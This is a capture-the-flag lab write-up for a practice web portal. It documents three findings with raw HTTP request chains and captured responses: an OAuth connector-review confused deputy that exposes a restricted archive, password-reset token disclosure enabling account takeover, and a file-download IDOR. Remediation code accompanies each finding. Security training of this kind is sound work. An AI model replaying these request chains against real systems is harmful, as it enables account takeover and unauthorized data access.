BugForge — 2026.09.26

MesaNet Access Panel: OAuth Connector-Review Confused Deputy to Restricted Archive

BugForge OAuth Connector-Review Confused Deputy hard

Executive Summary

MesaNet Access Panel is a Black Mesa themed internal portal (Express + EJS, signed express-session cookie) that exposes an OAuth connector (“Connect your account”) linking each user to a Nexus document provider. The headline finding is an authorization delegation flaw in the connector review flow: an authenticated user can generate a pending Nexus authorization request, forward it to a reviewer through the portal’s Secure Mail, and have the reviewer’s privileged connector client complete that authorization. The resulting elevated grant binds to the requester’s own connection, giving the requester read access to the Nexus Restricted Archive that their own account is never authorized to reach.

Testing confirmed 3 findings:

ID Title Severity CVSS CWE Endpoint
F1 OAuth connector-review confused deputy (Restricted Archive disclosure) High 7.7 CWE-441 POST /oauth/nexus/start -> POST /api/mail/send
F2 Password-reset token disclosure via Security Queue -> account takeover High 8.8 CWE-640, CWE-200 POST /forgot -> GET /apps/secqueue -> POST /reset
F3 Vault download IDOR / classification bypass Medium 5.3 CWE-639, CWE-863 GET /apps/vault/download?id=

F1 is the flag-bearing finding. The Restricted Archive holds NX-DOC-204 (“Xen Survey, Authorization Annex”, classification restricted), whose body is the objective flag. The archive’s resource grant is never offered to the portal’s OAuth client and cannot be requested directly. It becomes reachable only because the review step re-authorizes the requester’s connection with a second, privileged connector client (lambda-archive-sync, scope archive:read). The lesson generalizes: when a privileged party finishes an authorization that a lower-privileged party started, the grant must bind to the party whose authority was actually exercised, not to the initiator.


Objective

Capture the objective flag (bug{...}) hidden behind the portal’s “Connect your account” connector feature. The flag is per-instance randomized; the target is the Nexus Restricted Archive document, not a fixed string.


Scope / Initial Access

# Target Application
URL: https://lab-<id>.labs-app.bugforge.io   # instanced lab, URL rotates each spin-up
Variant: blackmesa-005

# Auth details
Foothold credential: operator : operator     # System Operator, User ID 1, Clearance L3
Session: signed express-session cookie "mesanet.sid" (HttpOnly, SameSite=Lax)

The foothold is a weak seeded credential. A role-based username guess (operator) with the matching password (operator) authenticates as the System Operator, User ID 1, Clearance L3. L3 is the highest clearance among the eight seeded users; there is no administrator, root, or higher-privilege account to escalate toward, so every finding below is either lateral or crosses into a separate authorization authority (the Nexus provider). The weak-credential foothold itself is documented separately in a prior MesaNet writeup and is treated here only as the starting state.

Login hardening was extensive: SQL injection, NoSQL, LDAP, type confusion, prototype pollution, credential spraying, and empty-password attempts all failed against POST /login, with a per-IP rate limit near 10 attempts per window. The role-based credential guess was the only working entry.


Reconnaissance: Mapping the Connector Flow and the Internal Proxy

The dashboard at / lists eleven applications, each mounted under /apps/. Two surfaces shaped the test plan: an internal API proxy at /gateway, and the Nexus OAuth connector under /apps/nexus.

  1. /gateway is a strict per-application internal proxy. It accepts POST JSON of the form {id:<APP_ID>, endpoint:"/api/<app>/...", data:{...}} and forwards the call under the caller’s identity. It is strictly scoped: a mail application id cannot call /api/vault/*, only /api/ endpoints are allowed, and no absolute URLs are accepted. This makes it the sanctioned way to reach /api/mail/send.
  2. The Nexus connector uses RFC 8707 resource indicators plus PKCE. The authorization request pins client_id=mesanet-research-portal, scope=documents:read profile:read, and resource=urn:nexus:research-index. The client is confidential (direct token exchange returns invalid_client).
  3. Only one Nexus resource is offered; a second is marked off-limits. The connector’s resource directory shows Research Index (urn:nexus:research-index) as connectable and a Restricted Archive as “NOT AUTHORIZED, separate resource grant required”. Its resource URN is never disclosed to the client.
  4. The provider advertises an in-app review channel. A seeded mail message from the reviewer account vance states that connector access reviews are handled by forwarding pending MesaNet requests through Secure Mail, and to “allow a few moments for the review to appear”. This is the pointer that turned the Restricted Archive from a client-side dead end into a server-side delegation target.

Observations 3 and 4 together framed F1: the client cannot request the restricted resource, but a reviewer reachable through Secure Mail can, and the review result is delivered in-app.


Application Architecture

Component Detail
Backend Node.js, Express, EJS templates; case-insensitive routes
Session Signed express-session cookie mesanet.sid (HttpOnly, SameSite=Lax)
Internal API POST /gateway proxy, strictly scoped per application id
Connector OAuth 2.0 client mesanet-research-portal, PKCE (S256), RFC 8707 resource indicators
Provider Nexus identity/resource server (/nexus/oauth/*), separate account namespace (operator.nexus)

API Surface (relevant subset)

Endpoint Method Auth Notes
/login POST No Weak seeded credential operator:operator; hardened otherwise
/forgot POST No Mints a reset token, queued for “security review”
/reset POST No Consumes {token,newPassword,confirmPassword}
/apps/secqueue GET Yes Renders full /reset?token= links for all pending requests
/apps/vault/download GET Yes Returns file bytes by id (16 hex), no ownership/classification check
/gateway POST Yes Internal proxy {id,endpoint,data}, per-app scoped
/oauth/nexus/start POST Yes Begins connector authorization; stores PKCE verifier + state in session
/oauth/nexus/callback GET Yes Stores the connection
/api/nexus/documents GET Yes Lists documents for the connected resource
/api/nexus/imports POST Yes Imports a document by id; returns a job
/api/nexus/imports/:jobId GET Yes Returns import result body + brokerReceipt

Known Users

Username ID Clearance
operator 1 L3
researcher 2 L2
security 3 L1
kleiner 4 L3
vance (Eli) 5 L3 (connector reviewer)
magnusson 6 L2
colette 7 L2
walter 8 L1

No administrator, breen, or root account exists. The reviewer vance holds no higher portal clearance than operator; the privilege that matters for F1 is the reviewer’s separate Nexus connector grant, not a portal role.


Attack Chain Visualization

┌───────────────┐   ┌───────────────────┐   ┌────────────────────┐   ┌────────────────────────┐
│ Login         │   │ POST              │   │ Forward auth URL   │   │ Reviewer side finishes │
│ operator:     │──▶│ /oauth/nexus/     │──▶│ to "vance" via     │──▶│ authorization with     │
│ operator      │   │ start             │   │ Secure Mail        │   │ client                 │
│ (session S)   │   │ = pending request │   │ /api/mail/send     │   │ lambda-archive-sync    │
└───────────────┘   │ authorize URL     │   │ (via /gateway)     │   │ (scope archive:read)   │
                    └───────────────────┘   └────────────────────┘   └───────────┬────────────┘
                                                                                  │
                                                    grant binds to session S      │
                                                                                  ▼
┌────────────────────────┐   ┌────────────────────────┐   ┌────────────────────────────────┐
│ GET                    │   │ POST /api/nexus/imports │   │ GET /api/nexus/imports/:jobId  │
│ /api/nexus/documents   │──▶│ {documentId:NX-DOC-204} │──▶│ result.body = flag             │
│ lists NX-DOC-204       │   │ -> {jobId}              │   │ brokerReceipt confirms         │
│ (Restricted Archive)   │   │                         │   │ restricted-archive grant       │
└────────────────────────┘   └────────────────────────┘   └────────────────────────────────┘

Findings

F1: OAuth Connector-Review Confused Deputy (Restricted Archive Disclosure)

Severity: High CVSS v3.1: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) CWE: CWE-441 (Unintended Proxy or Intermediary, “Confused Deputy”) Endpoint: POST /oauth/nexus/start -> POST /api/mail/send (via /gateway) -> POST /api/nexus/imports Authentication required: Yes (any seeded portal account)

Description

The connector review flow completes an authorization request on behalf of a reviewer, then binds the resulting grant to the connection of the user who initiated the request rather than to the reviewer. Three facts compound:

  1. POST /oauth/nexus/start generates a Nexus authorization request in the caller’s session. The response is a 303 redirect whose Location is a full authorize URL carrying the state and PKCE code_challenge; the matching PKCE verifier is stored server-side in the caller’s session. This URL is the “pending MesaNet request” the provider’s review process expects.
  2. Forwarding that URL to the reviewer account vance through Secure Mail causes the reviewer side to complete the authorization using a separate, privileged connector client, lambda-archive-sync, whose grant covers urn:nexus:restricted-archive with scope archive:read. This client and resource are never offered to the portal’s own OAuth client.
  3. The completed grant attaches to the initiator’s connection. After the review, the initiator’s own GET /api/nexus/documents lists Restricted Archive documents, and POST /api/nexus/imports returns their contents. The import result’s brokerReceipt confirms the grant client and resource.

The scope granted is read only (archive:read), so the confidentiality of restricted documents is the impact; the creation of the grant is the mechanism of the flaw rather than a separately leveraged integrity effect.

Impact

Allows an authenticated portal user to read documents in the Nexus Restricted Archive that their own connector grant does not authorize.

Reproduction

The captured requests below are from instance lab-1790447523211-xwyjnp; the document body is the per-instance flag. Pre-connecting your own Nexus account (operator.nexus to research-index) is not required, the review establishes the elevated connection directly.

Step 1: Authenticate

POST /login HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded

username=operator&password=operator

Response: 302 Found, Location: /, and Set-Cookie: mesanet.sid=s%3AzuoItnUzv1gcTmGc_Pj890EJwky0t_L2.... This session cookie (call it session S) is reused for every step below.

Step 2: Generate the pending authorization request

POST /oauth/nexus/start HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>

Response: 303 with a Location authorize URL:

https://lab-1790447523211-xwyjnp.labs-app.bugforge.io/nexus/oauth/authorize?response_type=code&client_id=mesanet-research-portal&redirect_uri=https%3A%2F%2Flab-1790447523211-xwyjnp.labs-app.bugforge.io%2Foauth%2Fnexus%2Fcallback&scope=documents%3Aread+profile%3Aread&resource=urn%3Anexus%3Aresearch-index&state=hvlxveZIh2cHIUfMUMPTYQ2QnBB7LV3BxmX3QCB5htM&code_challenge=XLNrifdW1TqlX4xWqa5g3EyM7JuhlMvxOW7NNbZSAaY&code_challenge_method=S256

Do not complete this authorization yourself. The state and code_challenge are bound to session S server-side.

Step 3: Forward the authorization URL to the reviewer via Secure Mail

The mail application id (b3e8d1f6-...) is scraped from the mail app page’s const APP_ID and is per-instance.

POST /gateway HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>
Content-Type: application/json

{"id":"b3e8d1f6-4c9a-4b2e-8f7d-6a1c9b3e5f8d","endpoint":"/api/mail/send","data":{"toUsername":"vance","subject":"Pending connector authorization","body":"Please review this pending MesaNet connector request: https://lab-1790447523211-xwyjnp.labs-app.bugforge.io/nexus/oauth/authorize?response_type=code&client_id=mesanet-research-portal&redirect_uri=https%3A%2F%2Flab-1790447523211-xwyjnp.labs-app.bugforge.io%2Foauth%2Fnexus%2Fcallback&scope=documents%3Aread+profile%3Aread&resource=urn%3Anexus%3Aresearch-index&state=hvlxveZIh2cHIUfMUMPTYQ2QnBB7LV3BxmX3QCB5htM&code_challenge=XLNrifdW1TqlX4xWqa5g3EyM7JuhlMvxOW7NNbZSAaY&code_challenge_method=S256","classification":"public"}}

Response:

{"id":12,"message":"Message sent successfully","messageDetails":{"id":12,"fromUserId":1,"fromUsername":"operator","toUserId":5,"toUsername":"vance","subject":"Pending connector authorization","classification":"public"}}

The message is delivered to the reviewer (User ID 5). Wait roughly 30 to 60 seconds for the review to run.

Step 4: Confirm the elevated grant on our own connection

GET /api/nexus/documents HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>

Response:

{"resource":"urn:nexus:research-index","documents":[{"id":"NX-DOC-204","title":"Xen Survey — Authorization Annex","classification":"restricted","location":"Restricted Archive","importable":false},{"id":"NX-DOC-205","ownerId":"nx-2042","title":"Lambda Displacement Field Notes","classification":"internal","body":"Phase variance remains within the revised Lambda Complex tolerance envelope.","location":"Research Index","importable":true}]}

NX-DOC-204 (classification restricted, location “Restricted Archive”) now appears for session S, which before the review listed only the research-index document. The response still labels the top-level resource as research-index while listing the restricted document the review made reachable.

Step 5: Import the restricted document

POST /api/nexus/imports HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>
Content-Type: application/json

{"documentId":"NX-DOC-204"}

Response: {"jobId":"c7fbd898-3096-4aa9-958c-a8f08476a87f","status":"queued"}. The document is marked importable:false in the listing, but the import broker accepts it because session S now holds the restricted-archive grant.

Step 6: Read the import result

GET /api/nexus/imports/c7fbd898-3096-4aa9-958c-a8f08476a87f HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>

Response:

{"jobId":"c7fbd898-3096-4aa9-958c-a8f08476a87f","documentId":"NX-DOC-204","status":"complete","targetResource":"urn:nexus:restricted-archive","result":{"id":"NX-DOC-204","ownerId":"nx-2042","title":"Xen Survey — Authorization Annex","classification":"restricted","body":"bug{eycIKmHNRGjbgwwSG6AsJDPkKHKziNrx}","location":"Restricted Archive"},"brokerReceipt":{"grantClient":"lambda-archive-sync","grantResource":"urn:nexus:restricted-archive","grantScopes":["archive:read"]}}

result.body is the flag. The brokerReceipt confirms the grant came from client lambda-archive-sync on resource urn:nexus:restricted-archive with scope archive:read, none of which the portal’s own client can request.

Remediation

Fix 1: Bind the completed grant to the party whose authority was used

The authorization must be completed and consumed in the same trust context that owns the credential exercising it. A reviewer completing a pending request should approve access for the requester’s own client and scopes, never re-authorize the requester’s connection under a different, privileged client.

// BEFORE (vulnerable): the review completes the pending request and attaches
// whatever grant the reviewer's client produced to the initiator's connection.
async function onReviewApproved(pendingRequest, reviewer) {
  const grant = await nexus.authorize(reviewer.connectorClient, pendingRequest);
  // grant may be lambda-archive-sync / restricted-archive
  await connections.attach(pendingRequest.initiatorSessionId, grant);
}

// AFTER (secure): a review may only approve the requester's OWN client and the
// scopes originally requested; the grant is validated against them before it
// is attached.
async function onReviewApproved(pendingRequest, reviewer) {
  const grant = await nexus.authorize(pendingRequest.client, pendingRequest);
  assert(grant.client === 'mesanet-research-portal');
  assert(grant.resource === pendingRequest.requestedResource);
  assert(grant.scopes.every(s => pendingRequest.requestedScopes.includes(s)));
  await connections.attach(pendingRequest.initiatorSessionId, grant);
}

Additional recommendations:

  • Do not accept a full authorization URL (with another party’s state and PKCE challenge) as a review artifact. Reference pending requests by an opaque server-side id so a reviewer cannot complete an authorization that was minted in someone else’s session.
  • Enforce the importable flag server-side in the import broker rather than as a display hint; NX-DOC-204 was importable:false yet imported.
  • Log and alert when a connection’s grant client or resource changes, since a connection acquiring lambda-archive-sync is a clear anomaly.

F2: Password-Reset Token Disclosure via Security Queue -> Account Takeover

Severity: High CVSS v3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-640 (Weak Password Recovery Mechanism), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: POST /forgot -> GET /apps/secqueue -> POST /reset Authentication required: Yes, to read the queue (the reset endpoints themselves are unauthenticated)

Description

Two compounding defects allow one authenticated user to take over any other account:

  1. POST /forgot with an identifier (unauthenticated) mints a valid password-reset token and places the request in a “security review” queue.
  2. GET /apps/secqueue renders the full reset link, including the ?token=<64 hex> value, for every pending request, to any authenticated user. The queue is described in the interface as pending requests awaiting officer relay, but it discloses the secret token rather than relaying it only to the account owner.

An attacker triggers a reset for the victim, reads the victim’s token from the queue, and completes the reset. Because the foothold account (operator) already holds the highest clearance present (L3), taking over any other account is lateral or downward movement rather than vertical privilege escalation, so it is rated High rather than Critical, but any account can be taken over.

Impact

Allows any authenticated user to take over any other account on the portal.

Reproduction

Step 1: Trigger a reset for the victim

POST /forgot HTTP/1.1
Host: lab-<id>.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded

identifier=vance

Response: the request is accepted and queued “for security review”. No token is returned to the requester at this point.

Step 2: Read the victim’s reset token from the Security Queue

GET /apps/secqueue HTTP/1.1
Host: lab-<id>.labs-app.bugforge.io
Cookie: mesanet.sid=<attacker session>

Response: the queue page lists each pending request with its full reset link, for example /reset?token=<64 hex characters>, including the one just created for vance.

Step 3: Reset the victim’s password

POST /reset HTTP/1.1
Host: lab-<id>.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded

token=<victim token from queue>&newPassword=NewPass123!&confirmPassword=NewPass123!

Response: the password is changed. Logging in with the victim username and the new password then succeeds. This was verified against vance and the other six non-operator accounts.

Remediation

Fix 1: Never display the reset token to anyone but the account owner

// BEFORE (vulnerable): the queue view exposes the full token to all viewers.
app.get('/apps/secqueue', requireAuth, async (req, res) => {
  const pending = await resets.listPending(); // includes token
  res.render('secqueue', { pending });        // template prints /reset?token=...
});

// AFTER (secure): the queue shows status only; the token is delivered out of
// band to the owner's verified contact and never rendered in a shared view.
app.get('/apps/secqueue', requireAuth, async (req, res) => {
  const pending = (await resets.listPending())
    .map(({ id, username, requestedAt, status }) => ({ id, username, requestedAt, status }));
  res.render('secqueue', { pending }); // no token field
});

Additional recommendations:

  • Deliver reset links only to the account owner’s verified channel, not to any in-portal queue.
  • Bind tokens to a short expiry and single use, and rate-limit POST /forgot per identifier.

F3: Vault Download IDOR / Classification Bypass

Severity: Medium CVSS v3.1: 5.3 (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-863 (Incorrect Authorization) Endpoint: GET /apps/vault/download?id=<16 hex> Authentication required: Yes

Description

GET /apps/vault/download?id=<16 hex> returns the requested file’s bytes without checking the requester’s ownership of the file or the file’s classification label (an Insecure Direct Object Reference, IDOR). An authenticated non-owner can therefore read another user’s confidential file. The file identifiers are random 16 hex values (a 64-bit space) and are not sequentially enumerable, so realistic exploitation depends on obtaining a valid identifier from elsewhere; that constraint is why this is rated Medium (AC:H) rather than High. If identifiers were predictable, the same defect would be High.

Impact

Allows an authenticated user to read files belonging to other users regardless of ownership or classification, when a file identifier is known.

Reproduction

Step 1: Request a file owned by another user

GET /apps/vault/download?id=<16 hex id> HTTP/1.1
Host: lab-<id>.labs-app.bugforge.io
Cookie: mesanet.sid=<attacker session>

Response: the file’s raw bytes are returned. As operator (a non-owner), this returned the CONFIDENTIAL file xen-survey-coords.txt owned by vance, with no ownership or classification check applied. The vault held five seeded files and no flag; the finding is the access-control defect, not the file contents.

Remediation

Fix 1: Enforce ownership and classification on download

// BEFORE (vulnerable): the handler streams any file by id.
app.get('/apps/vault/download', requireAuth, async (req, res) => {
  const file = await vault.getById(req.query.id);
  res.send(file.bytes);
});

// AFTER (secure): the handler checks that the caller may read this file.
app.get('/apps/vault/download', requireAuth, async (req, res) => {
  const file = await vault.getById(req.query.id);
  if (!file) return res.sendStatus(404);
  if (file.ownerId !== req.session.userId &&
      !canRead(req.session.clearance, file.classification)) {
    return res.sendStatus(403);
  }
  res.send(file.bytes);
});

Additional recommendations:

  • Do not rely on identifier randomness as an access control; treat unguessable ids as defense in depth only.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: F1 delegates a privileged connector grant to the wrong party; F2 exposes reset tokens to unauthorized viewers and enables account takeover; F3 returns files without an ownership or classification check.
  • A04:2021 Insecure Design: The connector review flow accepts an authorization URL minted in another user’s session and completes it with a privileged client, a design that structurally enables the confused deputy in F1.
  • A07:2021 Identification and Authentication Failures: The seeded operator:operator credential provides the foothold, and F2 is a weak password recovery mechanism.

Tools Used

Tool Purpose
curl Issuing and scripting the HTTP request chain
Caido Intercepting proxy; captured the raw request/response pairs
ffuf Endpoint and content discovery during reconnaissance

References

  • CWE-441 (Unintended Proxy or Intermediary, “Confused Deputy”): https://cwe.mitre.org/data/definitions/441.html
  • CWE-640 (Weak Password Recovery Mechanism): https://cwe.mitre.org/data/definitions/640.html
  • CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): https://cwe.mitre.org/data/definitions/200.html
  • CWE-639 (Authorization Bypass Through User-Controlled Key): https://cwe.mitre.org/data/definitions/639.html
  • CWE-863 (Incorrect Authorization): https://cwe.mitre.org/data/definitions/863.html
  • OWASP Top 10 2021: A01 Broken Access Control, A04 Insecure Design, A07 Identification and Authentication Failures
  • RFC 8707: Resource Indicators for OAuth 2.0
  • RFC 7636: Proof Key for Code Exchange (PKCE)

Failed Approaches

Approach Result Why It Failed
Override resource/scope at /oauth/nexus/start, authorize GET, consent POST, or callback Ignored or 400 unsupported Nexus resource / “unsupported permission set” The client is hardcoded to research-index; the resource is re-validated at every layer
Direct token exchange at /nexus/oauth/token invalid_client Confidential client; no client secret was recoverable
Brute the client_id (mesanet-archive, restricted, nexus-admin, etc.) “Unsupported OAuth client” Only mesanet-research-portal is registered
Guess the Restricted Archive resource URN (urn:nexus:restricted-archive) at the client Rejected The client cannot request it regardless of the URN
Import-broker mass assignment (targetResource, grantResource, ownerId, nexusAccount) and documentId injection Ignored or rejected Broker validates documentId format and enforces account + grant
Enumerate additional Nexus IdP accounts (admin.nexus, archivist.nexus, etc.) 401 Only operator.nexus exists; no /nexus/forgot, /reset, or register
Dev Console OTP brute (/dev/verify), including type confusion and OTP arrays Rejected; cookie-rotation gives unlimited attempts but single value per request OTP array is string-coerced (multi-element never matches); 1M/60s window is impractical. Downgraded to a hardening note; the Dev Console was never accessed
External out-of-band listener to detect a reviewer bot Null (no external callback) The review channel is in-app (Secure Mail); an external null is structurally blind to it. This null had earlier been mistaken for “no reviewer bot”, which cost a prior instance the solve
Enumerate the vault by incrementing id Not enumerable Identifiers are random 16 hex (64-bit space)
SSRF via vetting referenceUrl, and via /gateway Not fetched server-side; gateway allows only /api/ relative paths No server-side fetch of attacker URLs; no absolute URLs accepted

Tags: #oauth #confused-deputy #broken-access-control #idor #account-takeover #bugforge Document Version: 1.0 Last Updated: 2026-09-26

#oauth #confused-deputy #broken-access-control #idor #account-takeover #bugforge #webapp